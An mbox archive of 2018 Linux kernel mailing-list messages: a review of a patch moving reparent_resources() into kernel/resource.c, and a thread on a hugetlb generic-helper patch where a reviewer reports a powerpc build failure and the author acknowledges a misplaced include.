ZuEs5tSKeDMM/HIEVzDqhFeIKCyYoF0DzYFMpMM9vdkfIWBNMe26Gvhh+/y2wqow6KjSs9pA
pBxW4BnkQPk/jjxRWmCmAAA=

--BOKacYhQ+x31HxR3--


From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v6 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Thu, 5 Jul 2018 18:09:39 +0800
Lines: 196
Approved: news@gmane.org
Message-ID: <20180705100939.GD1225@MiWiFi-R3L-srv>
References: <20180704041038.8190-1-bhe@redhat.com>
 <20180704041038.8190-2-bhe@redhat.com>
 <CAHp75VfWLcQq4XGM3RyfO_ENx=3=WrCEhtOw+a0Sfwz_OpQ0UQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530785269 17859 195.159.176.226 (5 Jul 2018 10:07:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 10:07:49 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Josh Triplett <josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>,
 =?iso-8859-1?B?Suly9G1l?= Glisse <jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Rob Her
To: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 05 12:07:41 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fb1Aq-0004Vn-NE
	for gln-linux-nvdimm@m.gmane.org; Thu, 05 Jul 2018 12:07:41 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 25E3B210E8D54;
	Thu,  5 Jul 2018 03:09:51 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 21507207E5401
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu,  5 Jul 2018 03:09:48 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 9C0DE407564B;
 Thu,  5 Jul 2018 10:09:47 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 43F09111DD01;
 Thu,  5 Jul 2018 10:09:42 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAHp75VfWLcQq4XGM3RyfO_ENx=3=WrCEhtOw+a0Sfwz_OpQ0UQ-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.5]); Thu, 05 Jul 2018 10:09:47 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]);
 Thu, 05 Jul 2018 10:09:47 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10684 gmane.linux.drivers.devicetree:277872 gmane.linux.kernel.pci:73756 gmane.linux.kernel.input:61914 gmane.linux.ports.parisc:28760 gmane.linux.kernel.kexec:21096 gmane.linux.kernel:2812234 gmane.linux.ports.ppc64.devel:159708
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10684>

On 07/04/18 at 07:46pm, Andy Shevchenko wrote:
> On Wed, Jul 4, 2018 at 7:10 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> > reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> > and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> > so that it's shared.
> 
> With couple of comments below,

Sure, will fix these and repost with your reviewed-by, thanks. Should be
after I reproduce and fix those issues reported by test robot.

> 
> Reviewed-by: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> 
> P.S. In some commit message in this series you used 'likt' instead of 'like'.
> 
> >
> > Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> > ---
> >  arch/microblaze/pci/pci-common.c | 37 -------------------------------------
> >  arch/powerpc/kernel/pci-common.c | 35 -----------------------------------
> >  include/linux/ioport.h           |  1 +
> >  kernel/resource.c                | 39 +++++++++++++++++++++++++++++++++++++++
> >  4 files changed, 40 insertions(+), 72 deletions(-)
> >
> > diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
> > index f34346d56095..7899bafab064 100644
> > --- a/arch/microblaze/pci/pci-common.c
> > +++ b/arch/microblaze/pci/pci-common.c
> > @@ -619,43 +619,6 @@ int pcibios_add_device(struct pci_dev *dev)
> >  EXPORT_SYMBOL(pcibios_add_device);
> >
> >  /*
> > - * Reparent resource children of pr that conflict with res
> > - * under res, and make res replace those children.
> > - */
> > -static int __init reparent_resources(struct resource *parent,
> > -                                    struct resource *res)
> > -{
> > -       struct resource *p, **pp;
> > -       struct resource **firstpp = NULL;
> > -
> > -       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> > -               if (p->end < res->start)
> > -                       continue;
> > -               if (res->end < p->start)
> > -                       break;
> > -               if (p->start < res->start || p->end > res->end)
> > -                       return -1;      /* not completely contained */
> > -               if (firstpp == NULL)
> > -                       firstpp = pp;
> > -       }
> > -       if (firstpp == NULL)
> > -               return -1;      /* didn't find any conflicting entries? */
> > -       res->parent = parent;
> > -       res->child = *firstpp;
> > -       res->sibling = *pp;
> > -       *firstpp = res;
> > -       *pp = NULL;
> > -       for (p = res->child; p != NULL; p = p->sibling) {
> > -               p->parent = res;
> > -               pr_debug("PCI: Reparented %s [%llx..%llx] under %s\n",
> > -                        p->name,
> > -                        (unsigned long long)p->start,
> > -                        (unsigned long long)p->end, res->name);
> > -       }
> > -       return 0;
> > -}
> > -
> > -/*
> >   *  Handle resources of PCI devices.  If the world were perfect, we could
> >   *  just allocate all the resource regions and do nothing more.  It isn't.
> >   *  On the other hand, we cannot just re-allocate all devices, as it would
> > diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
> > index fe9733ffffaa..926035bb378d 100644
> > --- a/arch/powerpc/kernel/pci-common.c
> > +++ b/arch/powerpc/kernel/pci-common.c
> > @@ -1088,41 +1088,6 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
> >  EXPORT_SYMBOL(pcibios_align_resource);
> >
> >  /*
> > - * Reparent resource children of pr that conflict with res
> > - * under res, and make res replace those children.
> > - */
> > -static int reparent_resources(struct resource *parent,
> > -                                    struct resource *res)
> > -{
> > -       struct resource *p, **pp;
> > -       struct resource **firstpp = NULL;
> > -
> > -       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> > -               if (p->end < res->start)
> > -                       continue;
> > -               if (res->end < p->start)
> > -                       break;
> > -               if (p->start < res->start || p->end > res->end)
> > -                       return -1;      /* not completely contained */
> > -               if (firstpp == NULL)
> > -                       firstpp = pp;
> > -       }
> > -       if (firstpp == NULL)
> > -               return -1;      /* didn't find any conflicting entries? */
> > -       res->parent = parent;
> > -       res->child = *firstpp;
> > -       res->sibling = *pp;
> > -       *firstpp = res;
> > -       *pp = NULL;
> > -       for (p = res->child; p != NULL; p = p->sibling) {
> > -               p->parent = res;
> > -               pr_debug("PCI: Reparented %s %pR under %s\n",
> > -                        p->name, p, res->name);
> > -       }
> > -       return 0;
> > -}
> > -
> > -/*
> >   *  Handle resources of PCI devices.  If the world were perfect, we could
> >   *  just allocate all the resource regions and do nothing more.  It isn't.
> >   *  On the other hand, we cannot just re-allocate all devices, as it would
> > diff --git a/include/linux/ioport.h b/include/linux/ioport.h
> > index da0ebaec25f0..dfdcd0bfe54e 100644
> > --- a/include/linux/ioport.h
> > +++ b/include/linux/ioport.h
> > @@ -192,6 +192,7 @@ extern int allocate_resource(struct resource *root, struct resource *new,
> >  struct resource *lookup_resource(struct resource *root, resource_size_t start);
> >  int adjust_resource(struct resource *res, resource_size_t start,
> >                     resource_size_t size);
> > +int reparent_resources(struct resource *parent, struct resource *res);
> >  resource_size_t resource_alignment(struct resource *res);
> >  static inline resource_size_t resource_size(const struct resource *res)
> >  {
> > diff --git a/kernel/resource.c b/kernel/resource.c
> > index 30e1bc68503b..d1cbf4b50e17 100644
> > --- a/kernel/resource.c
> > +++ b/kernel/resource.c
> > @@ -983,6 +983,45 @@ int adjust_resource(struct resource *res, resource_size_t start,
> >  }
> >  EXPORT_SYMBOL(adjust_resource);
> >
> > +/*
> 
> /** ?
> 
> > + * reparent_resources - reparent resource children of parent that res covers
> > + * @parent: parent resource descriptor
> > + * @res: resource descriptor desired by caller
> > + *
> > + * Reparent resource children of 'parent' that conflict with 'res'
> > + * under 'res', and make 'res' replace those children.
> 
> Describe error codes, please.
> 
> > + */
> > +int reparent_resources(struct resource *parent, struct resource *res)
> > +{
> > +       struct resource *p, **pp;
> > +       struct resource **firstpp = NULL;
> > +
> > +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> > +               if (p->end < res->start)
> > +                       continue;
> > +               if (res->end < p->start)
> > +                       break;
> > +               if (p->start < res->start || p->end > res->end)
> > +                       return -ENOTSUPP;       /* not completely contained */
> > +               if (firstpp == NULL)
> > +                       firstpp = pp;
> > +       }
> > +       if (firstpp == NULL)
> > +               return -ECANCELED; /* didn't find any conflicting entries? */
> > +       res->parent = parent;
> > +       res->child = *firstpp;
> > +       res->sibling = *pp;
> > +       *firstpp = res;
> > +       *pp = NULL;
> > +       for (p = res->child; p != NULL; p = p->sibling) {
> > +               p->parent = res;
> > +               pr_debug("PCI: Reparented %s %pR under %s\n",
> > +                        p->name, p, res->name);
> > +       }
> > +       return 0;
> > +}
> > +EXPORT_SYMBOL(reparent_resources);
> > +
> >  static void __init __reserve_region_with_split(struct resource *root,
> >                 resource_size_t start, resource_size_t end,
> >                 const char *name)
> > --
> > 2.13.6
> >
> 
> 
> 
> -- 
> With Best Regards,
> Andy Shevchenko

From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christophe Leroy <christophe.leroy@c-s.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 02/11] hugetlb: Introduce generic version of
 hugetlb_free_pgd_range
Date: Thu, 5 Jul 2018 10:22:30 +0000
Lines: 74
Approved: news@gmane.org
Message-ID: <005bf713-fb51-bf29-5f86-6f244cd49f35@c-s.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
 <20180705051640.790-3-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530786071 17023 195.159.176.226 (5 Jul 2018 10:21:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 10:21:11 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 12:21:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb1Nn-0004G9-TN
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 12:21:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753542AbeGEKXL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 06:23:11 -0400
Original-Received: from pegase1.c-s.fr ([93.17.236.30]:51495 "EHLO pegase1.c-s.fr"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753317AbeGEKXJ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 06:23:09 -0400
Original-Received: from localhost (mailhub1-int [192.168.12.234])
        by localhost (Postfix) with ESMTP id 41Lv7r3Lptz9ttS1;
        Thu,  5 Jul 2018 12:23:04 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at c-s.fr
Original-Received: from pegase1.c-s.fr ([192.168.12.234])
        by localhost (pegase1.c-s.fr [192.168.12.234]) (amavisd-new, port 10024)
        with ESMTP id btNar2wGZxeY; Thu,  5 Jul 2018 12:23:04 +0200 (CEST)
Original-Received: from messagerie.si.c-s.fr (messagerie.si.c-s.fr [192.168.25.192])
        by pegase1.c-s.fr (Postfix) with ESMTP id 41Lv7r2cDfz9ttBx;
        Thu,  5 Jul 2018 12:23:04 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by messagerie.si.c-s.fr (Postfix) with ESMTP id AF59E8B897;
        Thu,  5 Jul 2018 12:23:05 +0200 (CEST)
X-Virus-Scanned: amavisd-new at c-s.fr
Original-Received: from messagerie.si.c-s.fr ([127.0.0.1])
        by localhost (messagerie.si.c-s.fr [127.0.0.1]) (amavisd-new, port 10023)
        with ESMTP id R6m_1W6ppBel; Thu,  5 Jul 2018 12:23:05 +0200 (CEST)
Original-Received: from po14934vm.idsi0.si.c-s.fr (po15451.idsi0.si.c-s.fr [172.25.231.4])
        by messagerie.si.c-s.fr (Postfix) with ESMTP id 0DC1A8B88B;
        Thu,  5 Jul 2018 12:23:05 +0200 (CEST)
In-Reply-To: <20180705051640.790-3-alex@ghiti.fr>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812249 gmane.linux.ports.arm.kernel:660972 gmane.linux.ports.ia64:28909 gmane.linux.ports.mips.general:65298 gmane.linux.ports.parisc:28761 gmane.linux.ports.ppc64.devel:159710 gmane.linux.ports.sh.devel:57182 gmane.linux.ports.sparc:28084 gmane.linux.kernel.cross-arch:45033
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812249>



On 07/05/2018 05:16 AM, Alexandre Ghiti wrote:
> arm, arm64, mips, parisc, sh, x86 architectures use the
> same version of hugetlb_free_pgd_range, so move this generic
> implementation into asm-generic/hugetlb.h.
> 
> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>

Build failure on mpc885_ads_defconfig

   CC      arch/powerpc/kernel/setup-common.o
In file included from arch/powerpc/kernel/setup-common.c:37:
./include/linux/hugetlb.h:191:65: error: expected identifier or '(' 
before '{' token
  #define hugetlb_free_pgd_range(tlb, addr, end, floor, ceiling) 
({BUG(); 0; })
                                                                  ^
./include/asm-generic/hugetlb.h:44:20: note: in expansion of macro 
'hugetlb_free_pgd_range'
  static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
                     ^~~~~~~~~~~~~~~~~~~~~~

see below

> ---
>   arch/arm/include/asm/hugetlb.h     | 12 ++----------
>   arch/arm64/include/asm/hugetlb.h   | 10 ----------
>   arch/ia64/include/asm/hugetlb.h    |  5 +++--
>   arch/mips/include/asm/hugetlb.h    | 13 ++-----------
>   arch/parisc/include/asm/hugetlb.h  | 12 ++----------
>   arch/powerpc/include/asm/hugetlb.h |  4 +++-
>   arch/sh/include/asm/hugetlb.h      | 12 ++----------
>   arch/sparc/include/asm/hugetlb.h   |  4 +++-
>   arch/x86/include/asm/hugetlb.h     | 11 ++---------
>   include/asm-generic/hugetlb.h      | 11 +++++++++++
>   10 files changed, 30 insertions(+), 64 deletions(-)
> 

[snip]

> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 3225eb6402cc..de46ee16b615 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -4,7 +4,6 @@
>   
>   #ifdef CONFIG_HUGETLB_PAGE
>   #include <asm/page.h>
> -#include <asm-generic/hugetlb.h>
>   
>   extern struct kmem_cache *hugepte_cache;
>   
> @@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
>   void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
>   #endif
>   
> +#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
>   void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
>   			    unsigned long end, unsigned long floor,
>   			    unsigned long ceiling);
> @@ -193,4 +193,6 @@ static inline pte_t *hugepte_offset(hugepd_t hpd, unsigned long addr,
>   }
>   #endif /* CONFIG_HUGETLB_PAGE */
>   
> +#include <asm-generic/hugetlb.h>
> +

That include was previously inside #ifdef CONFIG_HUGETLB_PAGE.
Why put it outside ?

Christophe



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 02/11] hugetlb: Introduce generic version of
 hugetlb_free_pgd_range
Date: Thu, 5 Jul 2018 10:48:53 +0000
Lines: 86
Approved: news@gmane.org
Message-ID: <bd8ee99c-a89b-c114-9b0e-8e36601c50c6@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
 <20180705051640.790-3-alex@ghiti.fr>
 <005bf713-fb51-bf29-5f86-6f244cd49f35@c-s.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1530787626 12146 195.159.176.226 (5 Jul 2018 10:47:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 10:47:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Christophe Leroy <christophe.leroy@c-s.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 12:46:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb1mt-0002yG-5M
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 12:46:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753661AbeGEKtG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 06:49:06 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:46367 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753461AbeGEKtE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 06:49:04 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id 9C159E0002;
        Thu,  5 Jul 2018 10:48:53 +0000 (UTC)
In-Reply-To: <005bf713-fb51-bf29-5f86-6f244cd49f35@c-s.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812263 gmane.linux.ports.arm.kernel:660983 gmane.linux.ports.ia64:28910 gmane.linux.ports.mips.general:65300 gmane.linux.ports.parisc:28762 gmane.linux.ports.ppc64.devel:159711 gmane.linux.ports.sh.devel:57183 gmane.linux.ports.sparc:28085 gmane.linux.kernel.cross-arch:45034
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812263>

My bad, when I moved the #include <asm-generic/hugeltb.h> at the bottom 
of the file, I did not pay attention to that #ifdef.
I'm going to fix powerpc and check other architectures if I did not make 
the same mistake.
I'll send a v4 as soon as possible.

Thanks for your comment,

Alex

On 07/05/2018 10:22 AM, Christophe Leroy wrote:
>
>
> On 07/05/2018 05:16 AM, Alexandre Ghiti wrote:
>> arm, arm64, mips, parisc, sh, x86 architectures use the
>> same version of hugetlb_free_pgd_range, so move this generic
>> implementation into asm-generic/hugetlb.h.
>>
>> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
>
> Build failure on mpc885_ads_defconfig
>
>   CC      arch/powerpc/kernel/setup-common.o
> In file included from arch/powerpc/kernel/setup-common.c:37:
> ./include/linux/hugetlb.h:191:65: error: expected identifier or '(' 
> before '{' token
>  #define hugetlb_free_pgd_range(tlb, addr, end, floor, ceiling) 
> ({BUG(); 0; })
>                                                                  ^
> ./include/asm-generic/hugetlb.h:44:20: note: in expansion of macro 
> 'hugetlb_free_pgd_range'
>  static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
>                     ^~~~~~~~~~~~~~~~~~~~~~
>
> see below
>
>> ---
>>   arch/arm/include/asm/hugetlb.h     | 12 ++----------
>>   arch/arm64/include/asm/hugetlb.h   | 10 ----------
>>   arch/ia64/include/asm/hugetlb.h    |  5 +++--
>>   arch/mips/include/asm/hugetlb.h    | 13 ++-----------
>>   arch/parisc/include/asm/hugetlb.h  | 12 ++----------
>>   arch/powerpc/include/asm/hugetlb.h |  4 +++-
>>   arch/sh/include/asm/hugetlb.h      | 12 ++----------
>>   arch/sparc/include/asm/hugetlb.h   |  4 +++-
>>   arch/x86/include/asm/hugetlb.h     | 11 ++---------
>>   include/asm-generic/hugetlb.h      | 11 +++++++++++
>>   10 files changed, 30 insertions(+), 64 deletions(-)
>>
>
> [snip]
>
>> diff --git a/arch/powerpc/include/asm/hugetlb.h 
>> b/arch/powerpc/include/asm/hugetlb.h
>> index 3225eb6402cc..de46ee16b615 100644
>> --- a/arch/powerpc/include/asm/hugetlb.h
>> +++ b/arch/powerpc/include/asm/hugetlb.h
>> @@ -4,7 +4,6 @@
>>     #ifdef CONFIG_HUGETLB_PAGE
>>   #include <asm/page.h>
>> -#include <asm-generic/hugetlb.h>
